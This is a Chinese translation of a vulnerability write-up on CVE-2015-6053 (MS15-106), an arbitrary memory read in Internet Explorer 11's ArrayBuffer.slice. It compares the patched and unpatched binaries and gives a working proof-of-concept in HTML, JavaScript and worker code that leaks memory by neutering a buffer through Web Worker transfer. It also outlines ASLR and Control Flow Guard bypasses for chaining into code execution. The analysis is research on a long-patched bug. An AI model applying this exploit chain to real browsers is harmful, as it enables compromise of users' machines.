MS15-106 JScript ArrayBuffer.slice 任意地址讀漏洞分析

wyzsk發表於2020-08-19
作者: 小叮噹 · 2016/06/20 10:47

0x00 引言


這是“Exploiting Internet Explorer’s MS15-106”系列文章的第二部分,如果您沒有閱讀過第一部分,我建議您開始閱讀本篇之前去閱讀前置文章

系列的前一篇文章提到過,2015年的8月13日,微軟放出了更新補丁security bulletin MS15-106,裡面包含了有關Internet Explorer的多個漏洞。之前,我們已經解釋了怎樣攻擊VBScript引擎裡面Filter函式中存在的型別混淆漏洞,以及怎樣利用這個漏洞劫持IE程式碼執行流程。不論怎樣,我們都需要繞過ASLR保護才能在有漏洞的瀏覽器中執行任意程式碼,用前一個漏洞過掉ASLR是很困難的。那麼,我們來看下怎樣攻擊另一個同樣披露於MS15-106中的漏洞,以及怎樣過掉地址隨機化。我們現在即將討論的是ZDI於advisory ZDI-15-518描述的漏洞:JScript ArrayBuffer.slice Information Disclosure Vulnerability (CVE-2015-6053)。

引用ZDI的描述:

The specific flaw exists within the implementation of the ArrayBuffer.slice method. By supplying specially crafted parameters, an attacker can read the contents of arbitrary memory locations. An attacker can use this information in conjunction with other vulnerabilities to execute code in the context of the process.

0x01 二進位制比對


比對的樣本是 jscript9.dll 5.8.9600.18036(漏洞版本)和 jscript9.dll 5.8.9600.18052(修復版本),和上一篇文章中一樣,測試平臺是64位windows8.1和IE11。

ZDI說明中提到問題出現在JavaScript的ArrayBuffer.slice方法中,透過比對兩個不同版本的DLL檔案,可以確定函式Js::ArrayBuffer::EntrySlice()被補丁過了。

p1

MSDN中有關 ArrayBuffer.slice 的描述為:

p2

這個函式流程大致預覽對比如下:

p3

進入函式Js::ArrayBuffer::EntrySlice()詳細看,注意紅色方框裡面的程式碼:

p4

右邊紅色方框裡面,增加了Js::ArrayBuffer::EntrySlice()函式檢查:補丁後的版本檢查了ArrayBuffer結構體偏移0x10位元組的內容,如果這裡不是0的話,就丟擲TypeError異常。

But...ArrayBuffer結構體偏移0x10位元組的成員是什麼?

觀察下Js::ArrayBuffer類,在初始化的時候偏移0x10的位置被設定成0,然後函式Js::ArrayBuffer::CreateNeuteredState()將偏移0x10這裡的數值設定成它的引數:

p5

(譯者:CreateNeuteredState()這個函式名字裡面的Neutered是閹割、絕育的意思)

如此,這個偏移0x10欄位的內容標誌著ArrayBuffer是否被結紮,也就是說,如果在一個結紮過的ArrayBuffe裡呼叫slice()方法的話,就會丟擲TypeError異常。

瞭解了補丁的意義之後,我立刻想到這個bug和之前Pwn2Own2014上攻擊FireFox的方法有些類似:

https://bugzilla.mozilla.org/show_bug.cgi?id=982974

0x02 結紮ArrayBuffer


那麼,到底什麼才是結紮ArrayBuffer?

就像這裡描述的,"當一個ArrayBuffer物件被傳遞給另一個執行緒的時候,原執行緒裡的ArrayBuffer物件就會被結紮——原物件的長度欄位被置0;其成員所在的記憶體被分離;所屬關係被交給了目的執行緒;目的執行緒會建立一個新的ArrayBuffer物件,這個物件包含了傳遞過來的原物件的成員所在的記憶體,這樣,原物件的成員內容並不需要被複制。"

換句話說,當一個ArrayBuffer物件被結紮,它的長度變成0,物件裡指向成員記憶體的指標被置成NULL。想要結紮一個ArrayBuffer物件,可透過把他從Web Worker中傳遞出去。

下一個問題是:怎樣才能把ArrayBuffer從Web Worker中傳遞出去?

引述http://www.html5rocks.com/en/tutorials/webgl/typed_arrays/:

Transferable objects in postMessage make passing binary data to other windows and Web Workers a great deal faster. When you send an object to a Worker as a Transferable, the object becomes inaccessible in the sending thread and the receiving Worker gets ownership of the object. This allows for a highly optimized implementation where the sent data is not copied, just the ownership of the Typed Array is transferred to the receiver. To use Transferable objects with Web Workers, you need to use the webkitPostMessage method on the worker.The webkitPostMessage method works just like postMessage, but it takes two arguments instead of just one.The added second argument is an array of objects you wish to transfer to the worker. worker.webkitPostMessage(oneGBTypedArray, [oneGBTypedArray]);

到目前,我們可知,建立一個ArrayBuffer物件,然後透過postMessage()傳遞給Web Worker,這樣的話,這個ArrayBuffer就被結紮了(長度變成0,資料指標被置null)。

但,漏洞在哪?IE做了和FireFox相同的事情,當執行ArrayBuffer.slice()方法的時候,程式碼邏輯去儲存ArrayBuffer中當前有效的byteLength:

p6

當ArrayBuffer.slice()方法的引數不是原始型別,就會呼叫當前傳遞進來的物件的成員函式valueOf()。這個過程發生在Js::ArrayBuffer::GetIndexFromVar()函式內部。

p7

攻擊的思路,在FireFox Pwn2Own裡解釋過,就是利用這樣一個原理:原生程式碼會呼叫攻擊者構造的JS程式碼(攻擊者控制的物件裡面的valueOf()函式),以此來實現在Js::ArrayBuffer::EntrySlice()函式內部(錯誤地)結紮ArrayBuffer物件。就是說,我們就構造了一個前後矛盾的情況——正常的byteLength值在函式一開始的時候被儲存,而經過兩次Js::ArrayBuffer::GetIndexFromVar()呼叫,物件卻又被結紮。

順便提下,這是有關攻擊ECMAScript引擎重定義的另一個例子,Natalie SilvanovichBlack Hat 2015 presentation的議題。

(譯者:原文這裡說得不是很明白,其實就是透過重定義valueOf()函式,強迫物件被Neutered,指標清零,導致後面的start_argument被當做讀取地址,形成任意地址讀的漏洞)

ArrayBuffer在Js::ArrayBuffer::EntrySlice()函式里被意外地結紮後,這個函式試著去建立一個被結紮的ArrayBuffer物件的副本:

p8

函式memcpy()的引數具體如下:

  • dst引數指向新的ArrayBuffer物件的ptr_to_raw_data欄位(新ArrayBuffer物件會被ArrayBuffer.slice()函式返回)
  • src引數為ptr_to_raw_data + start_argument
  • size引數為end_argument – start_argument

問題出現在src引數上,由於ArrayBuffer被結紮,src引數應該計算成ptr_to_raw_data + start_argument = 0 + start_argument,這導致在呼叫memcpy(new_arraybuffer, arbitrary_src, arbitrary_size)的時候,我們可以洩露瀏覽器程式的任意地址記憶體。

同時要注意,start_argument和end_argument會被和原來的ArrayBuffer裡的byteLength對比檢查,也就是說,要洩露任意地址X的內容,被攻擊者操縱的ArrayBuffer的byteLength數值必須必X大。比如,想要在地址0x1a1b2000處讀取4bytes內容的話,必須這樣做:

#!cpp
var address = 0x1a1b2000;

/* Size of the ArrayBuffer must be greater than the 'start' and 'end' arguments for slice() */
var arrbuf = new ArrayBuffer(address + 0x10);

/* The 'Trigger' object implements the valueOf() method, which neuters arrbuf in the middle of the slice() operation, and finally returns the end offset (address+4). */
var trigger = new Trigger(address + 4, arrbuf);

/* Trigger the vulnerability. Note that the 2nd argument isn't a primitive value but an object. slice() will return a new ArrayBuffer object containing a copy of the 4 bytes stored @ address 0x1a1b2000 */
var kslice = arrbuf.slice(address, trigger);

/* Finally, create a DataView on the new ArrayBuffer object and read a dword from it. Bingo! */
var leaked_dword= new DataView(kslice).getUint32(0, true);

0x03 Proof of Concept


我們來看POC,這是index.html的程式碼:

#!html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>MS15-106 PoC (CVE-2015-6053)</title>
    <script type="text/javascript" src="exploit.js"></script>
</head>
<body>
    <h1>MS15-106 PoC (CVE-2015-6053)</h1>

    <div>

        <div>
            <fieldset>
                <button id="workersButton">Transfer/neuter ArrayBuffer</button>
                <div id="outputBoxWorkers"></div>
            </fieldset>
        </div>
    </div>

</body>
</html>

然後是exploit.js的部分,包含了攻擊的邏輯。當點選“Transfer/neuter ArrayBuffer”按鈕的時候,leak_dword(0xffff)函式被呼叫。leak_dword()函式接受一個記憶體地址作為引數,然後利用這個漏洞在這個地址讀取4bytes內容。這裡讀取0xffff地址的內容,出發了一個訪問異常,來做為演示。

最有趣的部分是Trigger類的程式碼,它的建構函式接受物件的end_offset作為一個ArrayBuffer的例項當做引數。這個類也實現了valueOf()函式,其被原生函式Js::ArrayBuffer::EntrySlice()呼叫到的時候,即把ArrayBuffer的從屬關係交給一個新的Web Worker,從而實現結紮ArrayBuffer,最後返回物件的end_offset。

同樣注意下leak_dword()把一個Trigger類的例項當做第二個引數呼叫漏洞函式slice()。

#!js
(function () {
    var the_worker = null; // Will contain a reference to a Web Worker "thread".

    function initialize() {
        document.getElementById('workersButton').addEventListener('click', handle_workersButton, false);
    }

    document.addEventListener("DOMContentLoaded", initialize, false);


    function Trigger(end_offset, arrbuf){
        this.end_offset = end_offset;
        this.arrbuf = arrbuf;
    }

    /* This method gets called from the middle of the Js::ArrayBuffer::EntrySlice() native function */
    Trigger.prototype.valueOf = function() {
        this.neuter_arraybuffer();
        return this.end_offset;
    }

    Trigger.prototype.neuter_arraybuffer = function() {
      if (the_worker) {
        the_worker.terminate();
        the_worker = null; // Allow the garbage collector to clean up the Web Worker object.           
      }

      the_worker = new Worker('the_worker.js');

      the_worker.onmessage = function(evt) {
        if (evt.data.msg){
            document.getElementById('outputBoxWorkers').innerHTML = evt.data.msg;
        }

      }
      /* Neuter the ArrayBuffer by transferring its ownership to a new Web Worker */
      the_worker.postMessage(this.arrbuf, [this.arrbuf]);

    }

    /* Returns a 32-bit integer with the leaked dword value */
    function leak_dword(address){
        var arrbuf = new ArrayBuffer(address + 0x10);
        var trigger = new Trigger(address + 4, arrbuf); 
        var kslice = arrbuf.slice(address, trigger);
        return new DataView(kslice).getUint32(0, true);
    }


    function handle_workersButton(){
        var trampoline_addr = leak_dword(0xffff);
    }

})();

最後是假的Web Worker程式碼(the_worker.js):

#!js
self.onmessage = function(evt) {
  var arrbuf = evt.data;
}

如果你用偵錯程式附加瀏覽器後執行這個POC,會得到Crash,崩潰在memcpy(),從地址0xffff非法讀取:

#!bash
(84c.8ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for msvcrt.dll -
msvcrt!memcpy+0x52:
7785b3f2 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:0000ffff=????????

0x04 Bypassing ASLR


正如您所見,上面的poc會導致IE崩潰在讀取未分頁地址0xffff。如果要寫完整的exploit的話,就需要洩露一些已知的有用的地址內容。由於IE即使在64位windows上也會預設執行32位的版本,採用古師傅的陣列噴射技術——ExpLib2來在指定位置放置任意物件,這放置ArrayBuffer物件在堆中的特定位置,然後利用記憶體洩露漏洞讀取它的vtable(jscript9!Js::JavascriptArrayBuffer::`vftable')地址。這個方法可以獲得jscript9.dll模組的基址,從而過掉ASLR。

這個基址被傳遞給了exploit的第二部分(VBScript的Filter函式的型別混淆漏洞,導致任意程式碼執行,在上一篇中討論過)。

這裡有趣的一點是,記憶體洩露漏洞隻影響IE11,因為漏洞函式ArrayBuffer.slice()在低版本IE中並不支援。所以利用這個漏洞必須要IE11的文件模式,同時,VBScript又在IE11中不再支援,所以利用VBSript漏洞的時候又要切換到IE10的文件模式。

到此,我們已經繞過了ASLR,並且有了獲取EIP控制權的第二個漏洞,但還有最後一個防護要繞過:Control Flow Guard

0x05 Bypassing Control Flow Guard


有關CFG已經討論過很多次,呼叫函式之前會用ntdll!LdrpValidateUserCallTarget函式驗證。

編譯器會在每一個呼叫之前都放置一個CFG驗證函式,我去年討論過CFG繞過技術——利用Adobe Flash的JIT編譯中沒有被CFG保護的函式。

所以這次,我問自己:能否在一個指定的二進位制檔案中找到沒有被VS C++編譯器CFG保護的函式?

你一定不想人工肉身做這件事,我寫了一個IDAPython指令碼,來橫跨瀏覽整個二進位制檔案,尋找沒有被CFG保護的函式呼叫和跳轉存在的函式,同時這些函式又被CFG認為是合法的,最後將符合條件的函式儲存成一個列表。

你已可猜到,假設我們可以從一個被CFG保護的函式里跳轉到任意地址,那就從這個被保護的函式里面,控制跳轉地址,跳到我們想要的地址,繞過CFG。

指令碼跑出的結果再經過人工刪選,最終的最優解如下:

p9

看下Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()函式的程式碼,它呼叫(標記為紅色的jmp eax)函式Js::DynamicProfileInfo::EnsureDynamicProfileInfo()返回的指標,而沒有經過CFG檢查,這就是我們想要的情況。

但是函式Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk()並未被標記為CFG合法的函式,它前面的函式sub_10162CE0卻被標記為合法的CFG函式,而且這個函式非常簡單,只有一條人畜無害的指令MOV EAX, EAX,意思是順延到下一個函式:Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),呵呵噠,條件達成!

更完美的是,Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函式接受的引數(IDA裡顯示,應該是一個Js::ScriptFunction物件的指標)正好可以被我們完全控制。這裡擷取一小段上一篇文章的程式碼,VBScript裡面的漏洞VAR::ObjGetDefault + 0x6b處,一個完全由我們控制的值被壓棧,然後呼叫CFG保護的函式:

p10

也就是說,我們可以提供一個假的Js::ScriptFunction物件指標給函式Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),透過精心構造(古師傅的噴射程式碼是你忠實的小夥伴)一個假的指標鏈交給Js::DynamicProfileInfo::EnsureDynamicProfileInfo(),這個函式會返回一個我們控制的指標,交給後面的jmp eax跳轉。

稍微總結下

觸發VBScript的型別混淆函式之後,CFG保護的CALL [ESI]指令會呼叫jscript!sub_10162CE0,這個函式是CFG合法的,然後這個函式順延執行到Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(),我們可以完全控制這個函式里面呼叫的Js::DynamicProfileInfo::EnsureDynamicProfileInfo()函式的引數,精心構造的指標鏈讓這個函式返回我們ROP鏈的地址,然後這個ROP就被沒有CFG保護的jmp eax呼叫。就是這樣啦,繞過了CFG。

最後一點討論

我們和微軟MSRC的人郵件討論過關於這種繞過CFG的方法,他們說這種方法之前由騰訊玄武的人率先在Chakra JS引擎上提出。

騰訊的人用的是Js::JavascriptFunction::DeferredParsingThunk()函式繞過CFG,而我們用的是Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk();騰訊用的方法是覆蓋合法的Js::ScriptFunction物件裡面的函式指標,而我們採用了古師傅的堆噴射方法;第三點不同是我們透過VBScript模組跳轉到未受保護的jmp eax,而玄武實驗室是透過JS引擎跳過去的。

不過這都無所謂啦,Chakra.dll已經被補丁過,所以這種CFG繞過方法在Edge瀏覽器上再也不能用啦。

0x06 原文


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章